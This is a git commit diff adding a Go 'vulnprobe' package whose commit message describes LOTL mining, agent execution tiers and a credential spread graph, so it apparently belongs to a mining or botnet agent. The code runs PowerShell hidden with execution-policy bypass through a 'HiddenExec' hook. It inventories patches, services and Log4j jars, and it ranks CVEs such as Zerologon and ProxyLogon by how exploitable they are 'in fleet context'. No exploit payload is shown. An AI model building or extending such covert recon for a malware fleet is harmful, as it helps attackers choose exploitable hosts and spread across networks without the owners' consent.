Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -0,0 +1,50 @@
package vulnprobe
// CatalogEntry describes a CISA KEV-style CVE family for read-only exposure checks.
type CatalogEntry struct {
ID string
Name string
Component string
Severity string
Description string
// PatchKBs are Windows KB IDs that mitigate this CVE (subset for lightweight correlator).
PatchKBs []string
// FleetPorts are listener ports that raise fleet-context exploitability when open.
FleetPorts []int
}
// Catalog aligns with CISA AA22-117A / AA22-279A top exploited CVE families.
var Catalog = []CatalogEntry{
{ID: "CVE-2021-44228", Name: "Log4Shell", Component: "Apache Log4j", Severity: "critical",
Description: "JNDI RCE in Log4j 2.x before 2.17.0"},
{ID: "CVE-2021-26855", Name: "ProxyLogon", Component: "Microsoft Exchange", Severity: "critical",
Description: "Exchange Server pre-auth SSRF chain (Mar 2021)", PatchKBs: []string{"KB5000871", "KB5000978"},
FleetPorts: []int{443, 80}},
{ID: "CVE-2020-1472", Name: "Zerologon", Component: "Microsoft Netlogon", Severity: "critical",
Description: "Domain controller Netlogon privilege escalation", PatchKBs: []string{"KB4577015"},
FleetPorts: []int{445, 135}},
{ID: "CVE-2019-19781", Name: "Citrix ADC", Component: "Citrix ADC/Gateway", Severity: "critical",
Description: "Path traversal on Citrix Application Delivery Controller", FleetPorts: []int{443}},
{ID: "CVE-2019-11510", Name: "Pulse Secure", Component: "Ivanti Pulse Connect Secure", Severity: "critical",
Description: "Arbitrary file read on Pulse VPN appliances", FleetPorts: []int{443}},
{ID: "CVE-2020-5902", Name: "F5 BIG-IP", Component: "F5 BIG-IP", Severity: "critical",
Description: "Remote code execution in TMUI", FleetPorts: []int{443, 8443}},
{ID: "CVE-2022-1388", Name: "F5 iControl", Component: "F5 BIG-IP", Severity: "critical",
Description: "iControl REST auth bypass (May 2022)", FleetPorts: []int{443, 8443}},
{ID: "CVE-2021-26084", Name: "Confluence OGNL", Component: "Atlassian Confluence", Severity: "critical",
Description: "Confluence Server/Data Center RCE", FleetPorts: []int{8090, 8443}},
{ID: "CVE-2022-26134", Name: "Confluence RCE", Component: "Atlassian Confluence", Severity: "critical",
Description: "Confluence unauthenticated RCE (2022)", FleetPorts: []int{8090, 8443}},
{ID: "CVE-2021-40539", Name: "ManageEngine", Component: "Zoho ManageEngine ADSelfService Plus", Severity: "critical",
Description: "Unauthenticated RCE in ADSelfService Plus", FleetPorts: []int{9251}},
{ID: "CVE-2018-13379", Name: "FortiOS path traversal", Component: "Fortinet FortiGate/FortiOS", Severity: "critical",
Description: "SSL-VPN path traversal (FortiOS)", FleetPorts: []int{443, 10443}},
{ID: "CVE-2021-34527", Name: "PrintNightmare", Component: "Windows Print Spooler", Severity: "high",
Description: "Spooler remote code execution (Jul 2021)", PatchKBs: []string{"KB5004945"},
FleetPorts: []int{445, 135}},
{ID: "CVE-2020-0688", Name: "Exchange RCE", Component: "Microsoft Exchange", Severity: "high",
Description: "Exchange control panel deserialization RCE", PatchKBs: []string{"KB4537676"},
FleetPorts: []int{443}},
{ID: "CVE-2021-21972", Name: "vCenter RCE", Component: "VMware vCenter", Severity: "critical",
Description: "vSphere Client RCE in vCenter Server", FleetPorts: []int{443}},
}

8
agent/vulnprobe/exec.go Normal file
View File

@@ -0,0 +1,8 @@
package vulnprobe
import "os/exec"
// HiddenExec runs LOTL probe subprocesses. deploy wires HiddenCombinedOutput on Windows agents.
var HiddenExec = func(name string, arg ...string) ([]byte, error) {
return exec.Command(name, arg...).CombinedOutput()
}

View File

@@ -0,0 +1,88 @@
//go:build linux
package vulnprobe
import (
"os/exec"
"runtime"
"strings"
)
// ProbeHost gathers Linux LOTL recon via apt/dnf security listings (read-only).
func ProbeHost(listeningPorts map[int]bool, osVersion string) HostContext {
ctx := HostContext{
Platform: runtime.GOOS,
OSVersion: osVersion,
LastPatchDays: -1,
ListeningPorts: listeningPorts,
PackageVersions: map[string]string{},
}
ctx.SSHListening = listeningPorts[22] || listeningPorts[2222]
ctx.PackageVersions = linuxSecurityPackages()
return ctx
}
func linuxSecurityPackages() map[string]string {
out := map[string]string{}
if _, err := exec.LookPath("apt-get"); err == nil {
raw, err := exec.Command("apt-get", "-s", "upgrade").CombinedOutput()
if err == nil {
for _, line := range strings.Split(string(raw), "\n") {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "Inst ") {
fields := strings.Fields(line)
if len(fields) >= 2 {
out[fields[1]] = "pending-upgrade"
}
}
}
}
if list, err := exec.Command("apt", "list", "--upgradable").CombinedOutput(); err == nil {
for _, line := range strings.Split(string(list), "\n") {
if !strings.Contains(line, "/") || strings.HasPrefix(line, "Listing") {
continue
}
parts := strings.SplitN(line, "/", 2)
if len(parts) == 2 {
ver := strings.TrimSpace(strings.Split(parts[1], " ")[0])
out[parts[0]] = ver
}
}
}
}
if _, err := exec.LookPath("dnf"); err == nil {
raw, err := exec.Command("dnf", "updateinfo", "list", "security").CombinedOutput()
if err == nil {
for _, line := range strings.Split(string(raw), "\n") {
if !strings.Contains(line, "CVE-") {
continue
}
fields := strings.Fields(line)
for _, f := range fields {
if strings.HasPrefix(f, "CVE-") {
out[f] = "security-advisory"
}
}
}
}
}
return out
}
func linuxPackageFindings(ctx HostContext) []VulnFinding {
var out []VulnFinding
for cve, note := range ctx.PackageVersions {
if !strings.HasPrefix(cve, "CVE-") {
continue
}
out = append(out, VulnFinding{
CVEID: cve,
Severity: "high",
Component: "linux package",
Patched: false,
ExploitableInFleetContext: ctx.SSHListening,
Detail: "dnf/apt security listing: " + note,
})
}
return out
}

View File

@@ -0,0 +1,18 @@
//go:build !windows && !linux
package vulnprobe
import "runtime"
// ProbeHost returns minimal context on unsupported platforms.
func ProbeHost(listeningPorts map[int]bool, osVersion string) HostContext {
return HostContext{
Platform: runtime.GOOS,
OSVersion: osVersion,
LastPatchDays: -1,
ListeningPorts: listeningPorts,
ProbeError: "vuln probe not implemented for " + runtime.GOOS,
}
}
func linuxPackageFindings(_ HostContext) []VulnFinding { return nil }

View File

@@ -0,0 +1,162 @@
//go:build windows
package vulnprobe
import (
"encoding/json"
"runtime"
"strings"
)
const windowsProbeScript = `
$ErrorActionPreference = 'SilentlyContinue'
$out = [ordered]@{}
# Hotfix + QuickFixEngineering (read-only patch inventory)
$kbs = @()
try {
$hf = Get-HotFix | Sort-Object InstalledOn -Descending
if ($hf) {
$latest = $hf | Select-Object -First 1
if ($latest.InstalledOn) {
$d = [datetime]$latest.InstalledOn
$out.last_patch = $d.ToString('yyyy-MM-dd')
$out.last_patch_days = [int]((Get-Date) - $d).TotalDays
}
$kbs += @($hf | ForEach-Object { $_.HotFixID })
}
} catch {}
try {
$qfe = Get-CimInstance Win32_QuickFixEngineering -ErrorAction SilentlyContinue
if ($qfe) { $kbs += @($qfe | ForEach-Object { $_.HotFixID }) }
} catch {
try {
$qfe = Get-WmiObject Win32_QuickFixEngineering -ErrorAction SilentlyContinue
if ($qfe) { $kbs += @($qfe | ForEach-Object { $_.HotFixID }) }
} catch {}
}
$out.installed_kbs = @($kbs | Where-Object { $_ } | Select-Object -Unique)
# Service surface (Get-Service)
$exSvc = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -like 'MSExchange*' -or $_.DisplayName -like '*Exchange*' })
$out.exchange_installed = ($exSvc.Count -gt 0 -or (Test-Path 'HKLM:\SOFTWARE\Microsoft\ExchangeServer'))
try {
$dc = (Get-CimInstance Win32_ComputerSystem).DomainRole -in 4,5
} catch { $dc = $false }
$out.is_domain_controller = $dc
$pulse = @(Get-Service -ErrorAction SilentlyContinue | Where-Object {
$_.DisplayName -match 'Pulse|Ivanti|Juniper Pulse' -or $_.Name -match 'Pulse'
})
$out.pulse_present = ($pulse.Count -gt 0)
$citrix = @(
(Test-Path 'C:\Program Files\Citrix'),
(Test-Path 'C:\Program Files (x86)\Citrix')
) | Where-Object { $_ }
$out.citrix_present = ($citrix.Count -gt 0)
$f5 = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'bigip|f5' })
$out.f5_process = ($f5.Count -gt 0)
$conf = @(Get-Process -ErrorAction SilentlyContinue | Where-Object {
$_.Path -match 'atlassian|confluence|tomcat' -or $_.ProcessName -match 'confluence|tomcat'
})
$out.confluence_like = ($conf.Count -gt 0)
$me = @(
(Test-Path 'C:\Program Files\ManageEngine'),
(Test-Path 'C:\ManageEngine')
) | Where-Object { $_ }
$out.manageengine_present = ($me.Count -gt 0)
$forti = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'forti' })
$out.forticlient = ($forti.Count -gt 0)
$vmw = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'vpxd|VMware' })
$out.vmware_serverish = ($vmw.Count -gt 0)
try {
$sp = Get-Service Spooler
$out.spooler_running = ($sp.Status -eq 'Running')
} catch { $out.spooler_running = $false }
try {
$sshd = Get-Service -Name sshd -ErrorAction SilentlyContinue
$out.ssh_listening = ($sshd.Status -eq 'Running')
} catch { $out.ssh_listening = $false }
$log4j = @()
$roots = @($env:ProgramFiles, ${env:ProgramFiles(x86)}, 'C:\ProgramData') | Where-Object { $_ -and (Test-Path $_) }
foreach ($root in $roots) {
$log4j += Get-ChildItem -Path $root -Filter 'log4j-core*.jar' -Recurse -Depth 3 -ErrorAction SilentlyContinue |
Select-Object -First 5 -ExpandProperty FullName
}
$out.log4j_jars = @($log4j | Select-Object -Unique)
$out | ConvertTo-Json -Compress -Depth 4
`
type windowsProbeResult struct {
LastPatch string `json:"last_patch"`
LastPatchDays int `json:"last_patch_days"`
InstalledKBs []string `json:"installed_kbs"`
ExchangeInstalled bool `json:"exchange_installed"`
IsDomainController bool `json:"is_domain_controller"`
PulsePresent bool `json:"pulse_present"`
CitrixPresent bool `json:"citrix_present"`
F5Process bool `json:"f5_process"`
ConfluenceLike bool `json:"confluence_like"`
ManageEnginePresent bool `json:"manageengine_present"`
FortiClient bool `json:"forticlient"`
VMwareServerish bool `json:"vmware_serverish"`
SpoolerRunning bool `json:"spooler_running"`
SSHListening bool `json:"ssh_listening"`
Log4jJars []string `json:"log4j_jars"`
}
// ProbeHost gathers Windows LOTL recon inputs (Get-HotFix, Get-Service, WMI QFE).
func ProbeHost(listeningPorts map[int]bool, osVersion string) HostContext {
ctx := HostContext{
Platform: runtime.GOOS,
OSVersion: osVersion,
LastPatchDays: -1,
ListeningPorts: listeningPorts,
}
out, err := HiddenExec(
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
windowsProbeScript,
)
if err != nil {
ctx.ProbeError = err.Error()
return ctx
}
raw := strings.TrimSpace(string(out))
if idx := strings.LastIndex(raw, "{"); idx > 0 {
raw = raw[idx:]
}
var p windowsProbeResult
if err := json.Unmarshal([]byte(raw), &p); err != nil {
ctx.ProbeError = err.Error()
return ctx
}
ctx.LastPatch = p.LastPatch
ctx.LastPatchDays = p.LastPatchDays
ctx.InstalledKBs = p.InstalledKBs
ctx.ExchangeInstalled = p.ExchangeInstalled
ctx.IsDomainController = p.IsDomainController
ctx.PulsePresent = p.PulsePresent
ctx.CitrixPresent = p.CitrixPresent
ctx.F5Process = p.F5Process
ctx.ConfluenceLike = p.ConfluenceLike
ctx.ManageEnginePresent = p.ManageEnginePresent
ctx.FortiClient = p.FortiClient
ctx.VMwareServerish = p.VMwareServerish
ctx.SpoolerRunning = p.SpoolerRunning
ctx.SSHListening = p.SSHListening
ctx.Log4jJars = p.Log4jJars
return ctx
}
func linuxPackageFindings(_ HostContext) []VulnFinding { return nil }

219
agent/vulnprobe/scan.go Normal file
View File

@@ -0,0 +1,219 @@
package vulnprobe
import (
"strings"
"time"
)
// Run executes read-only LOTL vulnerability recon and returns correlated findings.
func Run(ctx HostContext) *ScanReport {
findings := correlate(ctx)
return finalize(findings, ctx)
}
func correlate(ctx HostContext) []VulnFinding {
findings := make([]VulnFinding, 0, len(Catalog))
patchDays := ctx.LastPatchDays
kbSet := make(map[string]bool, len(ctx.InstalledKBs))
for _, kb := range ctx.InstalledKBs {
kbSet[strings.ToUpper(strings.TrimSpace(kb))] = true
}
for _, e := range Catalog {
f := VulnFinding{
CVEID: e.ID,
Severity: e.Severity,
Component: e.Component,
Patched: true,
Detail: e.Description,
}
if ctx.ProbeError != "" {
f.Patched = false
f.Detail = "probe unavailable"
findings = append(findings, f)
continue
}
status := "clear"
switch e.ID {
case "CVE-2021-26855", "CVE-2020-0688":
if ctx.ExchangeInstalled {
status = "exposed"
f.Detail = "Microsoft Exchange detected — verify Mar 2021+ CU patches"
if patchDays >= 0 && patchDays > 90 {
status = "likely"
f.Detail += "; host patch age > 90 days"
}
}
case "CVE-2020-1472":
if ctx.IsDomainController {
status = "likely"
f.Detail = "Domain controller role — ensure Aug 2020 Netlogon patch applied"
if patchDays >= 0 && patchDays > 60 {
status = "exposed"
f.Detail = "DC with patch age > 60 days — Zerologon mitigation urgency"
}
}
case "CVE-2021-44228":
if len(ctx.Log4jJars) > 0 {
status = "likely"
f.Detail = "log4j-core JAR(s) found: " + strings.Join(ctx.Log4jJars, "; ")
}
case "CVE-2019-19781":
if ctx.CitrixPresent {
status = "likely"
f.Detail = "Citrix install paths present — verify ADC/Gateway patch level"
}
case "CVE-2019-11510":
if ctx.PulsePresent {
status = "likely"
f.Detail = "Pulse/Ivanti VPN software detected"
}
case "CVE-2020-5902", "CVE-2022-1388":
if ctx.F5Process {
status = "likely"
f.Detail = "F5-related process detected"
} else if ctx.ListeningPorts[443] {
status = "likely"
f.Detail = "TCP/443 listener — verify F5/BIG-IP patch level if applicable"
}
case "CVE-2021-26084", "CVE-2022-26134":
if ctx.ConfluenceLike {
status = "likely"
f.Detail = "Atlassian/Confluence-like Java process detected"
}
case "CVE-2021-40539":
if ctx.ManageEnginePresent {
status = "likely"
f.Detail = "ManageEngine directory present"
}
case "CVE-2018-13379":
if ctx.FortiClient {
status = "likely"
f.Detail = "Fortinet client process running"
}
case "CVE-2021-21972":
if ctx.VMwareServerish {
status = "likely"
f.Detail = "VMware server-style services detected"
}
case "CVE-2021-34527":
if ctx.SpoolerRunning && !ctx.IsDomainController {
status = "likely"
f.Detail = "Print Spooler running — restrict if not required"
}
}
// KB-based patch confirmation for Windows CVEs with known mitigations.
if len(e.PatchKBs) > 0 && status != "clear" {
for _, kb := range e.PatchKBs {
if kbSet[strings.ToUpper(kb)] {
status = "clear"
f.Detail = "mitigating KB " + kb + " installed"
break
}
}
}
// Stale patching amplifies exposure indicators.
if (status == "likely" || status == "exposed") && patchDays > 120 {
f.Detail += " · OS patches older than 120 days"
}
f.Patched = status == "clear"
f.ExploitableInFleetContext = !f.Patched && fleetExploitable(e, status, ctx)
findings = append(findings, f)
}
// Linux package CVE hints from apt/dnf security listings.
if ctx.Platform == "linux" {
findings = append(findings, linuxPackageFindings(ctx)...)
}
return findings
}
func fleetExploitable(e CatalogEntry, status string, ctx HostContext) bool {
if status == "clear" {
return false
}
for _, p := range e.FleetPorts {
if ctx.ListeningPorts[p] {
return true
}
}
switch e.ID {
case "CVE-2020-1472":
return ctx.IsDomainController
case "CVE-2021-26855", "CVE-2020-0688":
return ctx.ExchangeInstalled
case "CVE-2021-44228":
return len(ctx.Log4jJars) > 0
case "CVE-2019-19781":
return ctx.CitrixPresent
case "CVE-2019-11510":
return ctx.PulsePresent
case "CVE-2021-34527":
return ctx.SpoolerRunning && ctx.ListeningPorts[445]
case "CVE-2018-13379":
return ctx.FortiClient || ctx.ListeningPorts[10443]
}
if ctx.SSHListening && (ctx.ListeningPorts[22] || ctx.ListeningPorts[2222]) {
return status == "exposed" || status == "likely"
}
return status == "exposed"
}
func finalize(findings []VulnFinding, ctx HostContext) *ScanReport {
r := &ScanReport{
ScannedAt: time.Now().UTC().Format(time.RFC3339),
Findings: findings,
}
for _, f := range findings {
if f.ExploitableInFleetContext {
r.ExposedCount++
if f.Severity == "critical" {
r.CriticalCount++
}
} else if !f.Patched {
r.ExposedCount++
if f.Severity == "critical" {
r.CriticalCount++
}
}
}
r.RiskScore = riskScore(r)
switch {
case r.ExposedCount > 0 || r.CriticalCount > 0:
r.Summary = "Fleet-context vulnerability indicators detected — patch or isolate affected roles"
case countUnpatched(findings) > 0:
r.Summary = "Some CVE-related software stacks detected — verify versions and patches"
default:
r.Summary = "No high-confidence vulnerability exposure indicators on this host"
}
if ctx.ProbeError != "" {
r.Summary = "Vulnerability probe partially unavailable"
}
return r
}
func countUnpatched(findings []VulnFinding) int {
n := 0
for _, f := range findings {
if !f.Patched {
n++
}
}
return n
}
func riskScore(r *ScanReport) int {
if r == nil {
return 0
}
score := r.CriticalCount*25 + r.ExposedCount*12
if score > 100 {
return 100
}
return score
}

View File

@@ -0,0 +1,60 @@
package vulnprobe
import "testing"
func TestCorrelateExchangeExposed(t *testing.T) {
ctx := HostContext{
Platform: "windows",
ExchangeInstalled: true,
LastPatchDays: 120,
ListeningPorts: map[int]bool{443: true},
}
r := Run(ctx)
var proxy *VulnFinding
for i := range r.Findings {
if r.Findings[i].CVEID == "CVE-2021-26855" {
proxy = &r.Findings[i]
break
}
}
if proxy == nil {
t.Fatal("missing CVE-2021-26855 finding")
}
if proxy.Patched {
t.Fatalf("expected unpatched exchange exposure, got %+v", proxy)
}
if !proxy.ExploitableInFleetContext {
t.Fatalf("expected fleet-context exploitability with 443 open, got %+v", proxy)
}
}
func TestCorrelateKBMitigatesZerologon(t *testing.T) {
ctx := HostContext{
Platform: "windows",
IsDomainController: true,
InstalledKBs: []string{"KB4577015"},
LastPatchDays: 10,
}
r := Run(ctx)
for _, f := range r.Findings {
if f.CVEID == "CVE-2020-1472" && !f.Patched {
t.Fatalf("expected patched after KB4577015, got %+v", f)
}
}
}
func TestRiskScoreFromMockedFindings(t *testing.T) {
r := finalize([]VulnFinding{
{CVEID: "CVE-2021-26855", Severity: "critical", ExploitableInFleetContext: true},
{CVEID: "CVE-2021-44228", Severity: "critical", Patched: false},
}, HostContext{})
if r.RiskScore < 25 {
t.Fatalf("expected elevated risk score, got %d", r.RiskScore)
}
}
func TestCatalogNotEmpty(t *testing.T) {
if len(Catalog) < 10 {
t.Fatalf("expected catalog entries, got %d", len(Catalog))
}
}

46
agent/vulnprobe/types.go Normal file
View File

@@ -0,0 +1,46 @@
package vulnprobe
// VulnFinding is one correlated CVE exposure row for fleet assessment (read-only).
type VulnFinding struct {
CVEID string `json:"cve_id"`
Severity string `json:"severity"`
Component string `json:"component"`
Patched bool `json:"patched"`
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
Detail string `json:"detail,omitempty"`
}
// ScanReport aggregates LOTL vulnerability recon for stats/diagnostics.
type ScanReport struct {
ScannedAt string `json:"scanned_at"`
Findings []VulnFinding `json:"vuln_findings"`
RiskScore int `json:"risk_score"`
ExposedCount int `json:"exposed_count"`
CriticalCount int `json:"critical_count"`
Summary string `json:"summary,omitempty"`
}
// HostContext is read-only host telemetry fed into the correlator.
type HostContext struct {
Platform string
OSVersion string
LastPatchDays int // -1 unknown
LastPatch string
InstalledKBs []string
ListeningPorts map[int]bool
RunningServices []string
PackageVersions map[string]string // linux: name -> version
SSHListening bool
IsDomainController bool
ExchangeInstalled bool
PulsePresent bool
CitrixPresent bool
F5Process bool
ConfluenceLike bool
ManageEnginePresent bool
FortiClient bool
VMwareServerish bool
SpoolerRunning bool
Log4jJars []string
ProbeError string
}